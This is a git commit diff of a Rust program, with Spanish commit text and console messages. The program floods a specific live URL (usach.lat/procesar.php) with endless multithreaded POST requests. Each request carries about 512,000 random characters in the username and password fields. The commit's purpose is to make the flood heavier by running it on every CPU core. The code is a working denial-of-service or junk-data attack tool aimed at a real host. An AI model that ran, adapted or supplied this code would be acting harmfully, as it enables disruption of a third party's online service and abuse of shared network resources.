main: hacerlo multithreaded pero bien
This commit is contained in:
parent
c7c6b70f05
commit
b177b00b7a
|
@ -6,7 +6,7 @@ edition = "2021"
|
||||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
rand = "0.8.4"
|
|
||||||
num_cpus = "1.16"
|
num_cpus = "1.16"
|
||||||
|
rand = "0.8.4"
|
||||||
reqwest = "0.12.8"
|
reqwest = "0.12.8"
|
||||||
tokio = { version = "1", features = ["full"] }
|
tokio = { version = "1", features = ["full"] }
|
||||||
|
|
72
src/main.rs
72
src/main.rs
|
@ -1,41 +1,53 @@
|
||||||
use std::collections::HashMap;
|
|
||||||
|
|
||||||
use rand::{distributions::Alphanumeric, Rng};
|
use rand::{distributions::Alphanumeric, Rng};
|
||||||
use reqwest::Client;
|
use reqwest::Client;
|
||||||
use tokio::runtime;
|
use std::{collections::HashMap, io, io::Write, sync::Arc};
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
|
||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
async fn main() {
|
async fn main() {
|
||||||
let garbage: String = rand::thread_rng()
|
let request = Client::new().post("https://usach.lat/procesar.php");
|
||||||
.sample_iter(&Alphanumeric)
|
|
||||||
.take(512000)
|
|
||||||
.map(char::from)
|
|
||||||
.collect();
|
|
||||||
println!("{} bytes pal qliao, a prepararse :3", garbage.len());
|
|
||||||
let mut params = HashMap::new();
|
|
||||||
params.insert("username", garbage.clone());
|
|
||||||
params.insert("password", garbage.clone());
|
|
||||||
let request = Client::new()
|
|
||||||
.post("https://usach.lat/procesar.php")
|
|
||||||
.form(¶ms);
|
|
||||||
|
|
||||||
let threads = num_cpus::get();
|
let threads = num_cpus::get();
|
||||||
let rt = runtime::Builder::new_multi_thread()
|
let count: Arc<Mutex<u64>> = Arc::new(Mutex::new(0));
|
||||||
.enable_io()
|
|
||||||
.enable_time()
|
|
||||||
.worker_threads(threads)
|
|
||||||
.build()
|
|
||||||
.expect("FUCK!!!!");
|
|
||||||
|
|
||||||
println!("pasa la raja usachin 😈");
|
println!("pasa la raja usachin 😈");
|
||||||
|
|
||||||
loop {
|
for _ in 0..threads {
|
||||||
let inner = request.try_clone().unwrap();
|
let inner = request.try_clone().unwrap();
|
||||||
rt.spawn(async move {
|
let memory = Arc::clone(&count);
|
||||||
let response = inner.send().await.unwrap();
|
|
||||||
println!("plap! {}", response.status());
|
tokio::spawn(async move {
|
||||||
})
|
loop {
|
||||||
.await
|
let garbage: String = rand::thread_rng()
|
||||||
.unwrap();
|
.sample_iter(&Alphanumeric)
|
||||||
|
.take(512000)
|
||||||
|
.map(char::from)
|
||||||
|
.collect();
|
||||||
|
let mut params = HashMap::new();
|
||||||
|
params.insert("username", garbage.clone());
|
||||||
|
params.insert("password", garbage.clone());
|
||||||
|
|
||||||
|
inner
|
||||||
|
.try_clone()
|
||||||
|
.unwrap()
|
||||||
|
.form(¶ms)
|
||||||
|
.send()
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let mut lock = memory.lock().await;
|
||||||
|
*lock += 1;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
let outer = Arc::clone(&count);
|
||||||
|
let mut last = 0;
|
||||||
|
loop {
|
||||||
|
let lock = outer.lock().await;
|
||||||
|
let count = *lock;
|
||||||
|
if count != last {
|
||||||
|
print!("\rplap! te lo culeaste {count} veces");
|
||||||
|
io::stdout().flush().unwrap();
|
||||||
|
last += 1
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in a new issue